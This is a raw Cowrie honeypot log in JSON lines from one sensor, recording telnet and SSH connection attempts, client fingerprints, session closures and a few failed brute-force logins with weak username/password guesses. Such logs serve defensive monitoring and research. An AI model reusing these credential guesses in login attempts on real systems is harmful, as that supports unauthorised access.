{"eventid":"cowrie.session.closed","duration":39.48230338096619,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:55.515175Z","src_ip":"188.208.141.113","session":"9964f7281d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.404129266738892,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:56.530825Z","src_ip":"188.208.141.113","session":"e4909c1cae75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42860,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa70424077a","protocol":"telnet","message":"New connection: 64.227.9.242:42860 (159.203.135.109:23) [session: 0fa70424077a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:56.655916Z"}
{"eventid":"cowrie.session.closed","duration":43.31275796890259,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:19:58.470211Z","src_ip":"188.208.141.113","session":"bd6724bbb425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47310,"dst_ip":"159.203.135.109","dst_port":23,"session":"da012d004b40","protocol":"telnet","message":"New connection: 64.227.9.242:47310 (159.203.135.109:23) [session: da012d004b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:01.724702Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47818,"dst_ip":"159.203.135.109","dst_port":23,"session":"7da1784f5e5f","protocol":"telnet","message":"New connection: 64.227.9.242:47818 (159.203.135.109:23) [session: 7da1784f5e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:02.205096Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ac1da4b635","protocol":"telnet","message":"New connection: 188.208.141.113:37384 (10.17.0.5:23) [session: 46ac1da4b635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:03.431367Z"}
{"eventid":"cowrie.session.closed","duration":40.773651361465454,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:06.463452Z","src_ip":"188.208.141.113","session":"720017884a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.53567552566528,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:06.811590Z","src_ip":"188.208.141.113","session":"0d5173ce45fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57954,"dst_ip":"159.203.135.109","dst_port":23,"session":"23a1a74705c8","protocol":"telnet","message":"New connection: 64.227.9.242:57954 (159.203.135.109:23) [session: 23a1a74705c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:09.609107Z"}
{"eventid":"cowrie.session.closed","duration":35.60737729072571,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:11.047358Z","src_ip":"64.227.9.242","session":"7fb7b8a44a40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":33186,"dst_ip":"10.17.0.5","dst_port":22,"session":"e54e35275c47","protocol":"ssh","message":"New connection: 152.32.171.213:33186 (10.17.0.5:22) [session: e54e35275c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:12.520669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:12.525229Z","src_ip":"152.32.171.213","session":"e54e35275c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:12.743488Z","src_ip":"152.32.171.213","session":"e54e35275c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40674,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e3d69eb189b","protocol":"telnet","message":"New connection: 188.208.141.113:40674 (10.17.0.5:23) [session: 5e3d69eb189b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:12.947012Z"}
{"eventid":"cowrie.login.failed","username":"test12","password":"test12","message":"login attempt [test12/test12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:13.645714Z","src_ip":"152.32.171.213","session":"e54e35275c47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40682,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9c1116a3760","protocol":"telnet","message":"New connection: 188.208.141.113:40682 (10.17.0.5:23) [session: c9c1116a3760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:14.239343Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:14.867081Z","src_ip":"152.32.171.213","session":"e54e35275c47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.1268858909606934,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:15.073753Z","src_ip":"188.208.141.113","session":"5e3d69eb189b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.17497181892395,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:16.414174Z","src_ip":"188.208.141.113","session":"c9c1116a3760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.939870834350586,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:17.215959Z","src_ip":"188.208.141.113","session":"b8c2e10d9578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"892267c9d1a7","protocol":"telnet","message":"New connection: 188.208.141.113:40696 (10.17.0.5:23) [session: 892267c9d1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:17.749507Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39180,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ce7f4a8296","protocol":"telnet","message":"New connection: 64.227.9.242:39180 (159.203.135.109:23) [session: 14ce7f4a8296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:19.767107Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40704,"dst_ip":"10.17.0.5","dst_port":23,"session":"1212fe2e280f","protocol":"telnet","message":"New connection: 188.208.141.113:40704 (10.17.0.5:23) [session: 1212fe2e280f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:20.151335Z"}
{"eventid":"cowrie.session.closed","duration":37.01333570480347,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:20.993204Z","src_ip":"64.227.9.242","session":"532411324c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.63641381263733,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:21.349765Z","src_ip":"188.208.141.113","session":"10337f080cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.86213517189026,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:22.220043Z","src_ip":"64.227.9.242","session":"9bfad44da089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.15733599662781,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:22.399811Z","src_ip":"64.227.9.242","session":"450719b4e219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.264533519744873,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:23.013907Z","src_ip":"188.208.141.113","session":"892267c9d1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":46988,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4f5012d99c","protocol":"ssh","message":"New connection: 112.217.199.222:46988 (10.17.0.5:22) [session: 0d4f5012d99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:23.529389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:23.534532Z","src_ip":"112.217.199.222","session":"0d4f5012d99c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:23.738095Z","src_ip":"112.217.199.222","session":"0d4f5012d99c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"d3pl0y","message":"login attempt [deployer/d3pl0y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:24.583150Z","src_ip":"112.217.199.222","session":"0d4f5012d99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":59828,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a36a2c22c3a","protocol":"telnet","message":"New connection: 188.208.141.113:59828 (10.17.0.5:23) [session: 4a36a2c22c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:24.589299Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":43762,"dst_ip":"159.203.135.109","dst_port":23,"session":"de97b66b98e2","protocol":"telnet","message":"New connection: 64.227.9.242:43762 (159.203.135.109:23) [session: de97b66b98e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:24.908340Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:25.793567Z","src_ip":"112.217.199.222","session":"0d4f5012d99c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44820,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cec49c29a87","protocol":"telnet","message":"New connection: 64.227.9.242:44820 (159.203.135.109:23) [session: 6cec49c29a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:25.875400Z"}
{"eventid":"cowrie.session.closed","duration":35.753233671188354,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:26.237861Z","src_ip":"64.227.9.242","session":"9c4d753a4ca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45062279701233,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:27.770491Z","src_ip":"64.227.9.242","session":"6a8b992b4a79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.23718857765198,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:28.923191Z","src_ip":"64.227.9.242","session":"a4cd466b1bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.593138694763184,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:29.744429Z","src_ip":"188.208.141.113","session":"93af40af41e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57340,"dst_ip":"10.17.0.5","dst_port":23,"session":"94bf0e039023","protocol":"telnet","message":"New connection: 188.208.141.113:57340 (10.17.0.5:23) [session: 94bf0e039023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:30.841538Z"}
{"eventid":"cowrie.session.closed","duration":36.5956666469574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:33.251460Z","src_ip":"64.227.9.242","session":"0fa70424077a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57352,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1d7e63a3d70","protocol":"telnet","message":"New connection: 188.208.141.113:57352 (10.17.0.5:23) [session: b1d7e63a3d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:34.422283Z"}
{"eventid":"cowrie.session.closed","duration":2.7590272426605225,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:37.181207Z","src_ip":"188.208.141.113","session":"b1d7e63a3d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.4918258190155,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:37.696798Z","src_ip":"64.227.9.242","session":"7da1784f5e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54141879081726,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:38.266000Z","src_ip":"64.227.9.242","session":"da012d004b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58910,"dst_ip":"159.203.135.109","dst_port":23,"session":"770c337e000d","protocol":"telnet","message":"New connection: 64.227.9.242:58910 (159.203.135.109:23) [session: 770c337e000d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:42.002330Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33560,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ae697a5c498","protocol":"telnet","message":"New connection: 64.227.9.242:33560 (159.203.135.109:23) [session: 5ae697a5c498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:43.923952Z"}
{"eventid":"cowrie.session.closed","duration":40.86288785934448,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:44.294121Z","src_ip":"188.208.141.113","session":"46ac1da4b635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29652190208435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:44.905497Z","src_ip":"64.227.9.242","session":"23a1a74705c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34516,"dst_ip":"159.203.135.109","dst_port":23,"session":"079b389b2e3e","protocol":"telnet","message":"New connection: 64.227.9.242:34516 (159.203.135.109:23) [session: 079b389b2e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:44.943290Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5ba9c1abce9","protocol":"telnet","message":"New connection: 188.208.141.113:33196 (10.17.0.5:23) [session: c5ba9c1abce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:45.741188Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33212,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6e91711335","protocol":"telnet","message":"New connection: 188.208.141.113:33212 (10.17.0.5:23) [session: 7b6e91711335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:47.387815Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33228,"dst_ip":"10.17.0.5","dst_port":23,"session":"713c94503845","protocol":"telnet","message":"New connection: 188.208.141.113:33228 (10.17.0.5:23) [session: 713c94503845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:48.288214Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33232,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d0d6b21acb","protocol":"telnet","message":"New connection: 188.208.141.113:33232 (10.17.0.5:23) [session: 59d0d6b21acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:48.559864Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33240,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4517e9ce8c","protocol":"telnet","message":"New connection: 188.208.141.113:33240 (10.17.0.5:23) [session: ec4517e9ce8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:49.321353Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33256,"dst_ip":"10.17.0.5","dst_port":23,"session":"c92b60ee306b","protocol":"telnet","message":"New connection: 188.208.141.113:33256 (10.17.0.5:23) [session: c92b60ee306b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:49.602989Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40886,"dst_ip":"159.203.135.109","dst_port":23,"session":"552106d30443","protocol":"telnet","message":"New connection: 64.227.9.242:40886 (159.203.135.109:23) [session: 552106d30443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:52.118229Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":45198,"dst_ip":"10.17.0.5","dst_port":22,"session":"006a5a625059","protocol":"ssh","message":"New connection: 1.235.192.214:45198 (10.17.0.5:22) [session: 006a5a625059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:53.208027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:53.212568Z","src_ip":"1.235.192.214","session":"006a5a625059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:53.399158Z","src_ip":"1.235.192.214","session":"006a5a625059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123456789","message":"login attempt [reza/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:54.180179Z","src_ip":"1.235.192.214","session":"006a5a625059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:55.369635Z","src_ip":"1.235.192.214","session":"006a5a625059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":45342,"dst_ip":"159.203.135.109","dst_port":23,"session":"f23fa44fd1aa","protocol":"telnet","message":"New connection: 64.227.9.242:45342 (159.203.135.109:23) [session: f23fa44fd1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:56.740639Z"}
{"eventid":"cowrie.session.closed","duration":37.373575925827026,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:20:57.140563Z","src_ip":"64.227.9.242","session":"14ce7f4a8296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.379061222076416,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:21:00.287151Z","src_ip":"64.227.9.242","session":"de97b66b98e2","protocol":"telnet"}
